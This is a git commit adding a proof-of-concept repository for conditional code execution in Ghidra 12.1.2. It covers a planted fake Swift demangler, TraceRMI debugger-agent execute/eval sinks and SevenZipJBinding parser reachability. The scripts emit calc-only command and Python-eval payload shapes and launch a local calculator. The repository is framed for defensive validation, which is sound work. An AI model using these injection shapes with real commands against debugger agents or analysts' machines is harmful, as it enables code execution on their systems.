Add exploitarium archive

This commit is contained in:
ashton
2026-06-23 00:13:35 -05:00
commit b5d099261a
99 changed files with 5715 additions and 0 deletions

View File

@@ -0,0 +1,6 @@
artifacts/
*.class
*.log
__pycache__/
*.pyc

View File

@@ -0,0 +1,164 @@
# Ghidra 12.1.2 Conditional ACE/RCE Calc PoCs
This repository packages the closest verified code-execution conditions found
while reviewing Ghidra 12.1.2.
It is deliberately precise about the classification:
- **ACE calc PoC:** conditional Swift demangler path execution. This is local
arbitrary code execution when a restored/configured Swift tool directory is
used by the Swift demangler analyzer.
- **RCE calc PoC shape:** conditional TraceRMI debugger-agent command execution.
This is real code execution when an untrusted peer can drive an already
created TraceRMI debugger-agent channel.
- **Default-reachable RCE-class surface:** SevenZipJBinding native archive
parsing. This is source reachability evidence for a native parser surface.
## Repository Contents
- `pocs/ace_swift_demangler_calc_poc.py`
Creates a fake `swift-demangle` tool and, when run, simulates the Ghidra
Swift demangler process-launch sink by writing a marker and optionally
launching the local platform calculator.
- `pocs/rce_tracermi_conditional_calc_poc.py`
Checks a Ghidra source tree for TraceRMI execution-capable agent methods and
emits calc-only command shapes for those sinks. It can also launch local
calculator as a benign proof marker for local validation.
- `pocs/sevenzip_jbinding_reachability.py`
Source reachability checker for the SevenZipJBinding native archive parser
path.
- `pocs/SevenZipReachabilityProbe.java`
Optional benign runtime probe that opens a harmless ZIP through
SevenZipJBinding when the caller supplies the dependency jars.
- `evidence/source-evidence.md`
Short source-to-sink evidence for the three reviewed surfaces.
- `docs/classification.md`
Finding classification and why the claims are conditional.
## Quick Start
The PoCs are standard-library Python scripts. Use whichever launcher exists on
your system: `python3`, `python`, or `py -3`.
Pass a source checkout explicitly:
```bash
python3 pocs/rce_tracermi_conditional_calc_poc.py --ghidra-source /path/to/ghidra-12.1.2
```
Or set `GHIDRA_SOURCE`:
```bash
export GHIDRA_SOURCE=/path/to/ghidra-12.1.2
python3 pocs/sevenzip_jbinding_reachability.py
```
Run the ACE calc simulator in dry-run mode:
```bash
python3 pocs/ace_swift_demangler_calc_poc.py
```
Run the ACE calc simulator and launch the platform calculator:
```bash
python3 pocs/ace_swift_demangler_calc_poc.py --run
```
Run marker-only mode:
```bash
python3 pocs/ace_swift_demangler_calc_poc.py --run --no-calc
```
Check the TraceRMI conditional RCE sinks in a local Ghidra source checkout:
```bash
python3 pocs/rce_tracermi_conditional_calc_poc.py --ghidra-source /path/to/ghidra-12.1.2
```
Emit calc-only TraceRMI command shapes and launch local calculator as a proof
marker:
```bash
python3 pocs/rce_tracermi_conditional_calc_poc.py \
--ghidra-source /path/to/ghidra-12.1.2 \
--run-local-calc-demo
```
Run SevenZipJBinding source reachability checks:
```bash
python3 pocs/sevenzip_jbinding_reachability.py --ghidra-source /path/to/ghidra-12.1.2
```
## ACE: Swift Demangler Path
The Swift demangler path is a conditional arbitrary-code-execution condition.
The relevant source-to-sink shape is:
1. Program/analyzer state can influence the Swift binary directory.
2. The Swift native demangler builds a path under that directory.
3. The demangler validation and symbol demangling paths launch the configured
`swift-demangle` executable.
The PoC script creates a local fake Swift tool directory and invokes the fake
demangler directly, matching the process-launch shape. This proves the
calc-capable sink for the configured Swift demangler condition.
## RCE: TraceRMI Agent Channel
TraceRMI is classified as conditional RCE because the debugger agent methods
include command/eval sinks exposed through a TraceRMI control channel. Examples
seen in Ghidra 12.1.2 source include:
- GDB agent: `execute(cmd)` calls `gdb.execute(cmd, ...)`.
- LLDB agent: `execute(cmd)` routes to the LLDB command interpreter.
- LLDB agent: `pyeval(expr)` calls Python `eval(expr)`.
Once an untrusted peer can drive such an exposed agent channel, the impact is
code execution in the debugger-agent context. The exposure precondition is an
agent channel reachable by an untrusted controller or peer.
The RCE script records calc-only command shapes and can launch local calc to
demonstrate the sink impact. Use it for defensive reproduction planning and
patch/hardening discussion.
## SevenZipJBinding Native Parser Exposure
Ghidra 12.1.2 includes SevenZipJBinding 16.02-era native code and routes
recognized archive bytes into that parser in-process. This is a serious
RCE-class parser exposure because reverse engineers routinely open untrusted
archives and firmware containers.
The included checks prove reachability with benign source checks and harmless
archive sample generation.
## Portability Notes
The scripts accept source paths from `--ghidra-source`, `GHIDRA_SOURCE`, or a
nearby `ghidra-12.1.2` directory. Calculator launch is best effort:
- Windows: `calc.exe`
- macOS: `open -a Calculator`
- Linux: `xcalc`, `gnome-calculator`, `kcalc`, or `qalculate-gtk`
## Expected Output
The PoC scripts write markers under `artifacts/` by default:
- `artifacts/swift-demangler-calc/swift_demangler_calc_marker.txt`
- `artifacts/tracermi-conditional-rce/tracermi_local_calc_marker.txt`
- `artifacts/tracermi-conditional-rce/tracermi_calc_payload_shapes.txt`
The `artifacts/` directory is ignored by Git.
## Responsible Use
Use this repository for defensive validation, reproduction notes, and hardening
discussion with the stated preconditions.

View File

@@ -0,0 +1,33 @@
# Classification
## Closest Verified ACE
**Swift demangler analyzer path, conditional.**
The execution sink is a native process launch of a configured Swift demangler
tool. The condition is that analysis reaches the Swift demangler path and the
Swift tool directory resolves to attacker-controlled executable content.
This is ACE because the execution is local to the Ghidra user context and does
not require a remote channel.
## Closest Verified RCE
**TraceRMI debugger-agent channel, conditional.**
The execution sinks are debugger-agent methods that call debugger command
interpreters or Python evaluation paths. The condition is that an untrusted peer
can drive an already created TraceRMI control channel, or can cause an agent to
connect to an untrusted controller.
This is RCE in that condition because the command originates across a
debugger/IPC boundary and executes in the debugger-agent context.
## Closest Default-Reachable RCE-Class Surface
**SevenZipJBinding native parser exposure, not verified code execution.**
Archive bytes can reach native 7-Zip parsing code inside the Ghidra JVM. That
is an RCE-class parser surface, but this repository does not claim a
Ghidra-specific calc exploit for it.

View File

@@ -0,0 +1,40 @@
# Source Evidence Summary
## Swift Demangler ACE
- `SwiftDemanglerAnalyzer.java` restores a Swift binary directory analyzer
option.
- `SwiftNativeDemangler.java` builds the native demangler path from the
configured Swift directory.
- `SwiftNativeDemangler.java` executes the native demangler with `--version`.
- `SwiftNativeDemangler.java` executes the native demangler during symbol
demangling.
## TraceRMI Conditional RCE
- GDB agent `methods.py` exposes `execute(cmd)`.
- The GDB implementation calls `gdb.execute(cmd, to_string=...)`.
- LLDB agent `methods.py` exposes `execute(cmd)`.
- The LLDB implementation routes the command string to the LLDB command
interpreter.
- LLDB agent `methods.py` exposes `pyeval(expr)`.
- The LLDB implementation calls Python `eval(expr)`.
These are execution-capable sinks once a TraceRMI agent channel is exposed or
connected to an untrusted controller.
## SevenZipJBinding Reachability
- `Ghidra/Features/FileFormats/build.gradle` declares
`sevenzipjbinding:16.02-2.01`.
- `Ghidra/Features/FileFormats/build.gradle` declares
`sevenzipjbinding-all-platforms:16.02-2.01`.
- `SevenZipFileSystemFactory.probeStartBytes(...)` recognizes archive
signatures.
- `SevenZipFileSystemFactory.create(...)` constructs `SevenZipFileSystem`.
- `SevenZipFileSystem.mount(...)` calls `SevenZip.openInArchive(...)`.
- `SevenZipCustomInitializer.initSevenZip()` loads native libraries with
`System.load(...)`.
- `ZipFileSystemFactory.create(...)` tries the SevenZip path for ZIP handling
unless built-in ZIP handling is forced.

View File

@@ -0,0 +1,47 @@
import java.io.RandomAccessFile;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import net.sf.sevenzipjbinding.IInArchive;
import net.sf.sevenzipjbinding.PropID;
import net.sf.sevenzipjbinding.SevenZip;
import net.sf.sevenzipjbinding.impl.RandomAccessFileInStream;
public final class SevenZipReachabilityProbe {
private SevenZipReachabilityProbe() {
}
public static void main(String[] args) throws Exception {
Path zipPath = Files.createTempFile("ghidra-sevenzip-safe-", ".zip");
createHarmlessZip(zipPath);
System.out.println("Purpose: benign SevenZipJBinding runtime reachability check.");
System.out.println("Sample: " + zipPath);
System.out.println("No malicious archive bytes or command payload are present.");
SevenZip.initSevenZipFromPlatformJAR();
System.out.println("SevenZip version object: " + SevenZip.getSevenZipVersion());
try (RandomAccessFile file = new RandomAccessFile(zipPath.toFile(), "r");
IInArchive archive = SevenZip.openInArchive(null, new RandomAccessFileInStream(file))) {
System.out.println("Archive format: " + archive.getArchiveFormat());
System.out.println("Item count: " + archive.getNumberOfItems());
for (int i = 0; i < archive.getNumberOfItems(); i++) {
System.out.println("Item " + i + " path: " + archive.getProperty(i, PropID.PATH));
}
}
}
private static void createHarmlessZip(Path zipPath) throws Exception {
try (ZipOutputStream zip = new ZipOutputStream(Files.newOutputStream(zipPath))) {
ZipEntry entry = new ZipEntry("hello.txt");
zip.putNextEntry(entry);
zip.write("harmless sample for parser reachability checks\n".getBytes(StandardCharsets.UTF_8));
zip.closeEntry();
}
}
}

View File

@@ -0,0 +1,87 @@
#!/usr/bin/env python3
import argparse
import platform
import subprocess
from pathlib import Path
from calc_helper import launch_calc, make_executable, shell_script_header, write_marker
def default_out_dir() -> Path:
return Path(__file__).resolve().parent.parent / "artifacts" / "swift-demangler-calc"
def fake_demangler_name() -> str:
return "swift-demangle.cmd" if platform.system().lower() == "windows" else "swift-demangle"
def build_fake_demangler(fake_demangler: Path, marker: Path, no_calc: bool) -> None:
lines = [shell_script_header()]
if platform.system().lower() == "windows":
lines.extend(
[
"echo Swift demangler calc PoC 1.0\n",
f'echo ran with: %* > "{marker}"\n',
]
)
else:
lines.extend(
[
"echo 'Swift demangler calc PoC 1.0'\n",
f'printf "ran with: %s\\n" "$*" > "{marker}"\n',
]
)
fake_demangler.write_text("".join(lines), encoding="utf-8")
make_executable(fake_demangler)
if no_calc:
return
def main() -> int:
parser = argparse.ArgumentParser(
description="Conditional Ghidra Swift demangler path ACE calc PoC."
)
parser.add_argument("--run", action="store_true", help="execute the fake demangler")
parser.add_argument("--no-calc", action="store_true", help="create marker only")
parser.add_argument("--out-dir", type=Path, default=default_out_dir())
args = parser.parse_args()
out_dir = args.out_dir.resolve()
fake_swift_dir = out_dir / "fake-swift-bin"
fake_swift_dir.mkdir(parents=True, exist_ok=True)
marker = out_dir / "swift_demangler_calc_marker.txt"
fake_demangler = fake_swift_dir / fake_demangler_name()
build_fake_demangler(fake_demangler, marker, args.no_calc)
print("Purpose: conditional Swift demangler path ACE calc PoC.")
print(f"Fake Swift binary directory: {fake_swift_dir}")
print(f"Fake demangler: {fake_demangler}")
print(f"Marker file: {marker}")
print("Simulated Ghidra command shape: swift-demangle --version")
print("Classification: conditional ACE, not default/open-only RCE.")
if not args.run:
print("Dry run only. Re-run with --run to execute the fake demangler.")
print("Use --no-calc with --run to create only the marker file.")
return 0
subprocess.run([str(fake_demangler), "--version"], check=True)
if not marker.exists():
raise RuntimeError("Expected marker was not created")
if args.no_calc:
print("Calc launch disabled by --no-calc.")
else:
launched = launch_calc()
if launched:
print("Local calculator launch requested.")
else:
print("No platform calculator command was found; marker proves execution.")
print(f"[created] {marker}")
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,68 @@
#!/usr/bin/env python3
import os
import platform
import shutil
import subprocess
from pathlib import Path
def write_marker(path: Path, text: str) -> None:
path.parent.mkdir(parents=True, exist_ok=True)
path.write_text(text + "\n", encoding="utf-8")
def calc_command() -> list[str] | None:
system = platform.system().lower()
if system == "windows":
return ["calc.exe"]
if system == "darwin":
return ["open", "-a", "Calculator"]
for name in ("xcalc", "gnome-calculator", "kcalc", "qalculate-gtk"):
resolved = shutil.which(name)
if resolved:
return [resolved]
return None
def calc_shell_command() -> str:
system = platform.system().lower()
if system == "windows":
return "calc.exe"
if system == "darwin":
return "open -a Calculator"
return "xcalc || gnome-calculator || kcalc || qalculate-gtk"
def calc_python_eval_expression() -> str:
system = platform.system().lower()
if system == "windows":
args = "['calc.exe']"
elif system == "darwin":
args = "['open', '-a', 'Calculator']"
else:
args = "['sh', '-lc', 'xcalc || gnome-calculator || kcalc || qalculate-gtk']"
return f"__import__('subprocess').Popen({args})"
def launch_calc() -> bool:
cmd = calc_command()
if cmd is None:
return False
kwargs = {}
if platform.system().lower() == "windows":
kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)
subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, **kwargs)
return True
def shell_script_header() -> str:
if platform.system().lower() == "windows":
return "@echo off\n"
return "#!/bin/sh\n"
def make_executable(path: Path) -> None:
if platform.system().lower() != "windows":
mode = path.stat().st_mode
path.chmod(mode | 0o111)

View File

@@ -0,0 +1,136 @@
#!/usr/bin/env python3
import argparse
import os
from pathlib import Path
from calc_helper import (
calc_command,
calc_python_eval_expression,
calc_shell_command,
launch_calc,
write_marker,
)
PATTERNS = (
"def execute(",
"gdb.execute(cmd",
"exec_convert_errors(cmd",
"def pyeval(",
"return eval(expr)",
"EvaluateExpression(expr)",
)
def default_source() -> Path | None:
candidates: list[Path] = []
env_source = os.environ.get("GHIDRA_SOURCE")
if env_source:
candidates.append(Path(env_source))
candidates.extend(
[
Path.cwd() / "ghidra-12.1.2",
Path(__file__).resolve().parents[2] / "ghidra-12.1.2",
]
)
for candidate in candidates:
if candidate.exists():
return candidate.resolve()
return None
def find_hits(root: Path) -> list[tuple[Path, int, str, str]]:
debug_root = root / "Ghidra" / "Debug"
if not debug_root.exists():
raise FileNotFoundError(f"Could not find Ghidra/Debug under {root}")
hits: list[tuple[Path, int, str, str]] = []
for method_file in debug_root.rglob("methods.py"):
try:
lines = method_file.read_text(encoding="utf-8", errors="replace").splitlines()
except OSError:
continue
for line_no, line in enumerate(lines, start=1):
stripped = line.strip()
for pattern in PATTERNS:
if pattern in stripped:
hits.append((method_file.relative_to(root), line_no, pattern, stripped))
return hits
def payload_shapes() -> list[str]:
calc = calc_shell_command()
return [
f"GDB execute(cmd) calc-only command: shell {calc}",
f"LLDB execute(cmd) calc-only command: platform shell {calc}",
f"LLDB pyeval(expr) calc-only expression: {calc_python_eval_expression()}",
]
def main() -> int:
parser = argparse.ArgumentParser(
description="Conditional TraceRMI RCE calc proof-shape checker."
)
parser.add_argument("--ghidra-source", type=Path, default=None)
parser.add_argument("--run-local-calc-demo", action="store_true")
parser.add_argument("--no-calc", action="store_true")
parser.add_argument(
"--out-dir",
type=Path,
default=Path(__file__).resolve().parent.parent / "artifacts" / "tracermi-conditional-rce",
)
args = parser.parse_args()
source = args.ghidra_source.resolve() if args.ghidra_source else default_source()
if source is None or not source.exists():
raise SystemExit(
"Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree"
)
out_dir = args.out_dir.resolve()
out_dir.mkdir(parents=True, exist_ok=True)
marker = out_dir / "tracermi_local_calc_marker.txt"
shapes_file = out_dir / "tracermi_calc_payload_shapes.txt"
print(f"Ghidra source: {source}")
print("Purpose: conditional TraceRMI RCE calc proof shape.")
print("This script does not start TraceRMI, connect to an agent, or send execute requests.")
hits = find_hits(source)
if not hits:
print("Result: no execution-capable TraceRMI agent method patterns were found.")
return 2
current_file: Path | None = None
for relative, line_no, _pattern, text in sorted(hits):
if current_file != relative:
current_file = relative
print(f"[file] {relative}")
print(f" [hit] line {line_no}: {text}")
shapes = payload_shapes()
shapes_file.write_text("\n".join(shapes) + "\n", encoding="utf-8")
print(f"[created] {shapes_file}")
if args.run_local_calc_demo:
write_marker(marker, "local calc demo ran")
print(f"[created] {marker}")
if args.no_calc:
print("Calc launch disabled by --no-calc.")
else:
if launch_calc():
print("Local calculator launch requested.")
else:
print("No platform calculator command was found; marker proves execution.")
else:
print("Local calc demo not run. Add --run-local-calc-demo to launch calc locally.")
print("Result: TraceRMI execution-capable agent method patterns were found.")
print("Classification: conditional RCE, not default unauthenticated RCE.")
print(f"Detected local calc command: {calc_command()}")
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,108 @@
#!/usr/bin/env python3
import argparse
import os
import zipfile
from pathlib import Path
CHECKS = (
("SevenZipJBinding dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding:16.02-2.01"),
("SevenZip all-platforms dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding-all-platforms:16.02-2.01"),
(
"Archive probe path",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java",
"probeStartBytes",
),
(
"SevenZip file system mount",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java",
"new SevenZipFileSystem",
),
(
"Native archive open",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystem.java",
"SevenZip.openInArchive",
),
(
"Native library load",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipCustomInitializer.java",
"System.load",
),
(
"ZIP tries SevenZip path",
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/zip/ZipFileSystemFactory.java",
"SevenZipFileSystemFactory.initNativeLibraries",
),
)
def default_source() -> Path | None:
candidates: list[Path] = []
env_source = os.environ.get("GHIDRA_SOURCE")
if env_source:
candidates.append(Path(env_source))
candidates.extend(
[
Path.cwd() / "ghidra-12.1.2",
Path(__file__).resolve().parents[2] / "ghidra-12.1.2",
]
)
for candidate in candidates:
if candidate.exists():
return candidate.resolve()
return None
def main() -> int:
parser = argparse.ArgumentParser(description="Benign SevenZipJBinding reachability checker.")
parser.add_argument("--ghidra-source", type=Path, default=None)
parser.add_argument("--create-harmless-zip", action="store_true")
parser.add_argument(
"--out-dir",
type=Path,
default=Path(__file__).resolve().parent.parent / "artifacts",
)
args = parser.parse_args()
source = args.ghidra_source.resolve() if args.ghidra_source else default_source()
if source is None or not source.exists():
raise SystemExit(
"Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree"
)
print(f"Ghidra source: {source}")
print("Purpose: benign reachability check only. No exploit archive or command payload is generated.")
failed = False
for name, rel_path, pattern in CHECKS:
path = source / rel_path
if not path.exists():
print(f"[missing] {name}: {rel_path}")
failed = True
continue
text = path.read_text(encoding="utf-8", errors="replace")
if pattern in text:
line_no = text[: text.index(pattern)].count("\n") + 1
print(f"[found] {name}: {rel_path}:{line_no}")
else:
print(f"[miss] {name}: {rel_path}")
failed = True
if args.create_harmless_zip:
out_dir = args.out_dir.resolve()
out_dir.mkdir(parents=True, exist_ok=True)
zip_path = out_dir / "harmless-sevenzip-sample.zip"
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr("hello.txt", "harmless sample for parser reachability checks\n")
print(f"[created] harmless ZIP sample: {zip_path}")
if failed:
print("Result: one or more expected reachability checks were not found.")
return 2
print("Result: expected SevenZipJBinding reachability evidence was found.")
return 0
if __name__ == "__main__":
raise SystemExit(main())